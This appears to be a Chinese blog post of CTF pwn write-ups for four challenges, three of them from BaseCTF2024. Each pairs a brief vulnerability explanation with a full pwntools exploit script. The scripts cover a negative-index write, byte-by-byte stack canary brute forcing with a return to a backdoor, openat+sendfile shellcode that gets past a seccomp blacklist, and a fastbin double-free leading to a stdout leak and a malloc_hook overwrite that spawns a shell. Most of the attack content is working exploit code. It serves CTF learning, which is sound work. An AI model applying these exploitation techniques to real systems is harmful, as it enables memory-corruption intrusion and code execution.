Pwn_2024_S_001_ZB

[BaseCTF2024]–Pwn–五子棋

链接: https://z-l-s-f.lanzouq.com/iVx4h2a119rg

check:

001

​ 64位程序,保护全开。

ida分析关键漏洞点如下:

002

​ 在我们输入的时候没有做负数检查。

003

​ 我们可以发现dword_4020和dword_4040是决定判断我们输赢的关键。经过查看我们可以发现dowrd_4020[1]为0,dword_4040[1]为-1,我们可以控制负整数溢出写dword_4040[1]为0,这样的话我们只需要第一次下棋到1,1的位置,第二次负整数溢出写dword_4040[1]为0,就可以下两步棋获得胜利。(第一次负整数溢出写dword_4040[1]为0有惊喜)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
#from ctypes import *

def stre(a) : return str(a).encode()
def ph(a,b="addr") : print(b+":"+hex(a))
def re(a) : return p.recv(a)
def pre(a) : print(p.recv(a))
def reu(a,b=False) : return p.recvuntil(a,drop=b)
def rel() : return p.recvline()
def se(a) : p.send(a)
def sea(a,b) : p.sendafter(a,b)
def sel(a) : p.sendline(a)
def sela(a,b) : p.sendlineafter(a,b)
def op() : p.interactive()
def cp() : p.close()
def raddr64() : return u64(p.recv(6).ljust(8,b'\x00'))
def raddr32() : return u32(p.recv(4))
def raddr_T() : return int(re(14),16)
def raddr_A() : return int(reu(b"-",True),16)
def orw_rop64(pop_rdi,pop_rsi,pop_rdx,flag_addr,open_addr,read_addr,write_addr):
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw+= p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(read_addr)
orw+= p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(write_addr)
return orw
def getorw(name,buf,Arch) :
sh=shellcraft.open(name)
sh+=shellcraft.read(3,buf,0x30)
sh+=shellcraft.write(1,buf,0x30)
sh=asm(sh,arch=Arch)
return sh
def gdbp(p,a='') :
if a!='':
gdb.attach(p,a)
pause()
else :
gdb.attach(p)
pause()

p = remote("challenge.basectf.fun",48220)
#p = process("./pwn")
#elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
#lib = cdll.LoadLibrary(None)

#p = process(["qemu-mipsel-static","-g", "9999","-L","./","./pwn"])
#p = process(["qemu-mipsel-static","-L","./","./pwn"])

#context.log_level = 'debug'
#context.arch = 'amd64'
#context.os = 'linux'
#elf.arch , elf.so

#gdbp(p,"b *$rebase(0x1A51)")
sela(b":",b"1 1")
sela(b":",b"-298 1")

op()

[BaseCTF2024]–Pwn–没有 canary 我要死了!

链接: https://z-l-s-f.lanzouq.com/ihYsL2a119pe

check:

004

​ 64位程序,保护全开。

ida分析关键漏洞点如下:

005

​ 通过伪随机来使用fork创建新进程。

006

​ 存在栈溢出。

007

​ 存在后门函数。

​ 因为存在fork创建新线程,我们可以通过爆破的方式获得canary和后面函数的真实地址。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
from pwn import *
from ctypes import *
import time

def stre(a) : return str(a).encode()
def ph(a,b="addr") : print(b+":"+hex(a))
def re(a) : return p.recv(a)
def pre(a) : print(p.recv(a))
def reu(a,b=False) : return p.recvuntil(a,drop=b)
def rel() : return p.recvline()
def se(a) : p.send(a)
def sea(a,b) : p.sendafter(a,b)
def sel(a) : p.sendline(a)
def sela(a,b) : p.sendlineafter(a,b)
def op() : p.interactive()
def cp() : p.close()
def raddr64() : return u64(p.recv(6).ljust(8,b'\x00'))
def raddr32() : return u32(p.recv(4))
def raddr_T() : return int(re(14),16)
def raddr_A() : return int(reu(b"-",True),16)
def orw_rop64(pop_rdi,pop_rsi,pop_rdx,flag_addr,open_addr,read_addr,write_addr):
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw+= p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(read_addr)
orw+= p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(write_addr)
return orw
def getorw(name,buf,Arch) :
sh=shellcraft.open(name)
sh+=shellcraft.read(3,buf,0x30)
sh+=shellcraft.write(1,buf,0x30)
sh=asm(sh,arch=Arch)
return sh
def gdbp(p,a='') :
if a!='':
gdb.attach(p,a)
pause()
else :
gdb.attach(p)
pause()

p = remote("challenge.basectf.fun",40207)
#p = process("./pwn")
#elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
lib = cdll.LoadLibrary(None)

#p = process(["qemu-mipsel-static","-g", "9999","-L","./","./pwn"])
#p = process(["qemu-mipsel-static","-L","./","./pwn"])

#context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
#elf.arch , elf.so

t = int(time.time())
lib.srand(t)

canary1 = 0
canary2 = 0
canary3 = 0
canary4 = 0
canary5 = 0
canary6 = 0
canary7 = 0

while(1):
passwd = lib.rand()%50
sela(b"CTF\n",stre(passwd))
payload = b"A"*0x68 + p8(0) + p8(canary1)
sea(b"welcome\n",payload)
if b'*** stack smashing detected ***: terminated\n' in rel():
canary1 += 1
continue
else:
print(hex(canary1))
break

while(1):
passwd = lib.rand()%50
sela(b"CTF\n",stre(passwd))
payload = b"A"*0x68 + p8(0) + p8(canary1) + p8(canary2)
sea(b"welcome\n",payload)
if b'*** stack smashing detected ***: terminated\n' in rel():
canary2 += 1
continue
else:
print(hex(canary2))
break

while(1):
passwd = lib.rand()%50
sela(b"CTF\n",stre(passwd))
payload = b"A"*0x68 + p8(0) + p8(canary1) + p8(canary2) + p8(canary3)
sea(b"welcome\n",payload)
if b'*** stack smashing detected ***: terminated\n' in rel():
canary3 += 1
continue
else:
print(hex(canary3))
break

while(1):
passwd = lib.rand()%50
sela(b"CTF\n",stre(passwd))
payload = b"A"*0x68 + p8(0) + p8(canary1) + p8(canary2) + p8(canary3)
payload+= p8(canary4)
sea(b"welcome\n",payload)
if b'*** stack smashing detected ***: terminated\n' in rel():
canary4 += 1
continue
else:
print(hex(canary4))
break

while(1):
passwd = lib.rand()%50
sela(b"CTF\n",stre(passwd))
payload = b"A"*0x68 + p8(0) + p8(canary1) + p8(canary2) + p8(canary3)
payload+= p8(canary4) + p8(canary5)
sea(b"welcome\n",payload)
if b'*** stack smashing detected ***: terminated\n' in rel():
canary5 += 1
continue
else:
print(hex(canary5))
break

while(1):
passwd = lib.rand()%50
sela(b"CTF\n",stre(passwd))
payload = b"A"*0x68 + p8(0) + p8(canary1) + p8(canary2) + p8(canary3)
payload+= p8(canary4) + p8(canary5) + p8(canary6)
sea(b"welcome\n",payload)
if b'*** stack smashing detected ***: terminated\n' in rel():
canary6 += 1
continue
else:
print(hex(canary6))
break


while(1):
passwd = lib.rand()%50
sela(b"CTF\n",stre(passwd))
payload = b"A"*0x68 + p8(0) + p8(canary1) + p8(canary2) + p8(canary3)
payload+= p8(canary4) + p8(canary5) + p8(canary6) + p8(canary7)
sea(b"welcome\n",payload)
if b'*** stack smashing detected ***: terminated\n' in rel():
canary7 += 1
continue
else:
print(hex(canary7))
break

addr1 = 0xAE
addr2 = 0x12

while(1):
passwd = lib.rand()%50
sel(stre(passwd))
payload = b"A"*0x68 + p8(0) + p8(canary1) + p8(canary2) + p8(canary3)
payload+= p8(canary4) + p8(canary5) + p8(canary6) + p8(canary7) + p64(0)
payload+= p8(addr1) + p8(addr2)
sea(b"welcome\n",payload)
line = rel()
if b'oh, welcome to BaseCTF\n' in line:
print(hex(addr2))
addr2 += 0x10
continue
else:
print(line)
break
op()

[BaseCTF2024]–Pwn–orz!

链接: https://z-l-s-f.lanzouq.com/isqWQ2a119qf

check:

008

​ 64位程序,除了canary其他保护全开。

seccomp:

009

ida漏洞分析如下:

010

​ 经典沙盒题,禁用orw和execve且为黑名单模式。我们可以使用openat+sendfile完成获得flag。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
#from ctypes import *

def stre(a) : return str(a).encode()
def ph(a,b="addr") : print(b+":"+hex(a))
def re(a) : return p.recv(a)
def pre(a) : print(p.recv(a))
def reu(a,b=False) : return p.recvuntil(a,drop=b)
def rel() : return p.recvline()
def se(a) : p.send(a)
def sea(a,b) : p.sendafter(a,b)
def sel(a) : p.sendline(a)
def sela(a,b) : p.sendlineafter(a,b)
def op() : p.interactive()
def cp() : p.close()
def raddr64() : return u64(p.recv(6).ljust(8,b'\x00'))
def raddr32() : return u32(p.recv(4))
def raddr_T() : return int(re(14),16)
def raddr_A() : return int(reu(b"-",True),16)
def orw_rop64(pop_rdi,pop_rsi,pop_rdx,flag_addr,open_addr,read_addr,write_addr):
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw+= p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(read_addr)
orw+= p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(write_addr)
return orw
def getorw(name,buf,Arch) :
sh=shellcraft.open(name)
sh+=shellcraft.read(3,buf,0x30)
sh+=shellcraft.write(1,buf,0x30)
sh=asm(sh,arch=Arch)
return sh
def gdbp(p,a='') :
if a!='':
gdb.attach(p,a)
pause()
else :
gdb.attach(p)
pause()

p = remote("challenge.basectf.fun", 23687)
#p = process("./pwn")
#elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
#lib = cdll.LoadLibrary(None)

#p = process(["qemu-mipsel-static","-g", "9999","-L","./","./pwn"])
#p = process(["qemu-mipsel-static","-L","./","./pwn"])

#context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
#elf.arch , elf.so

shellcode = asm('''
mov rbx,0x0000000067616C66
push rbx
mov rdi,-100
mov rsi,rsp
xor rdx,rdx
mov rax,257
syscall
mov rdi,1
mov rsi,3
xor rdx,rdx
mov r10,0x40
mov rax,40
syscall
''')
se(shellcode)

op()

[UnKnow]–Pwn–mcback2dabasics

链接: https://z-l-s-f.lanzouq.com/iu89w2a10gyj

Glibc: Ubuntu GLIBC 2.24-9ubuntu2.2

check:

011

​ 64位程序,保护全开。

ida漏洞分析如下:

012

013

014

​ 没有修改函数和输出函数的堆题。

​ 幸运的是存在uaf漏洞,不幸的是只存在uaf漏洞。这里我们可以启用一种古老的堆题解法——double free。

​ 虽然我们不知道堆上的地址,但是好歹一个字节还是可以确定的,通过double free可以修改fd的最后一个字节来使得fastbin链指向堆块中伪造的地址。这样我们就有了堆块错位写的权限,通过这个权限我们可以获得足够大的堆块来获得unsortbin。通过修改unsortbin的fd地址的后两个字节的地址指向IO中的stdout(1/8的机会成功)。

​ 后面的操作就是如法炮制,反复使用double free来修改IO中的stdout来输出一个libc的地址。

算出libc基地址后攻击malloc(realloc调栈)来getshell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from pwn import *
#from ctypes import *

def stre(a) : return str(a).encode()
def ph(a,b="addr") : print(b+":"+hex(a))
def re(a) : return p.recv(a)
def pre(a) : print(p.recv(a))
def reu(a,b=False) : return p.recvuntil(a,drop=b)
def rel() : return p.recvline()
def se(a) : p.send(a)
def sea(a,b) : p.sendafter(a,b)
def sel(a) : p.sendline(a)
def sela(a,b) : p.sendlineafter(a,b)
def op() : p.interactive()
def cp() : p.close()
def raddr64() : return u64(p.recv(6).ljust(8,b'\x00'))
def raddr32() : return u32(p.recv(4))
def raddr_T() : return int(re(14),16)
def raddr_A() : return int(reu(b"-",True),16)
def orw_rop64(pop_rdi,pop_rsi,pop_rdx,flag_addr,open_addr,read_addr,write_addr) :
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw+= p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(read_addr)
orw+= p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(write_addr)
def getorw(name,buf,Arch) :
sh=shellcraft.open(name)
sh+=shellcraft.read(3,buf,0x30)
sh+=shellcraft.write(1,buf,0x30)
sh=asm(sh,arch=Arch)
return sh
def gdbp(p,a='') :
if a!='':
gdb.attach(p,a)
pause()
else :
gdb.attach(p)
pause()

#p = remote({IP})
p = process("./heap")
#elf = ELF("./pwn")
libc = ELF("./libc.so.6")
#lib = cdll.LoadLibrary(None)

#p = process(["qemu-mipsel-static","-g", "9999","-L","./","./pwn"])
#p = process(["qemu-mipsel-static","-L","./","./pwn"])

#context.log_level = 'debug'
#context.arch = 'amd64'
#context.os = 'linux'
#elf.arch , elf.so

def add(size,content):
sela(b"[+]> ",stre(1))
sela(b"[+]> ",stre(size))
sea(b"Data?\n",content)

def add2(size,content):
sela(b"[+]> ",stre(1))
sela(b"[+]> ",stre(size))
sea(b"Data?",content)

def dele(index):
sela(b"[+]> ",stre(2))
sela(b"[+]> ",stre(index))

add(0x67,b"A"*0x8) #0
add(0x67,b"B"*0x38+p64(0x71)) #1
add(0x67,b"C"*0x8) #2
add(0x67,b"D"*0x8) #3
add(0x67,b"E"*0x8) #4
add(0x67,b"F"*0x8) #5
dele(0)
dele(1)
dele(0)
add(0x67,b"\xb0") #6
add(0x67,b"Z"*0x8) #7
add(0x67,b"Z"*0x8) #8
add(0x67,b"\x00"*0x28+p64(0xE1)) #9
dele(2)
dele(7)
dele(8)
dele(7)
add(0x67,b"\xb0") #10
add(0x67,b"Z"*0x8) #11
add(0x67,b"Z"*0x8) #12
add(0x67,b"\x00"*0x28+p64(0x71)+b"\xbd\x25")
dele(11)
dele(12)
dele(11)
add(0x67,b"\xe0") #13
add(0x67,b"Z"*0x8) #14
add(0x67,b"Z"*0x8) #15
add(0x67,b"Z"*0x8) #16
add(0x67,b"\x00"*0x33+p64(0xfbad1800)+p64(0)*3+b"\x00") #17
re(0x20)
libc_base = raddr64() - 0x3c2600
ph(libc_base,"libc_base")
malloc_hook = libc_base + libc.sym["__malloc_hook"]
free_hook = libc_base + libc.sym["__free_hook"]
one = libc_base + 0xf24cb
realloc_hook = libc_base + libc.sym["__libc_realloc"]

dele(14)
dele(15)
dele(14)

add2(0x67,p64(malloc_hook-0x23))
add2(0x67,b"X"*0x8)
add2(0x67,b"X"*0x8)
add2(0x67,b"\x00"*0xB+p64(one)+p64(realloc_hook))

sela(b"[+]> ",stre(1))
sela(b"[+]> ",stre(32))


op()


Pwn_2024_S_001_ZB
https://zlsf-zl.github.io/2024/09/13/Pwn-2024-S-001-ZB/
作者
ZLSF
发布于
2024年9月13日
许可协议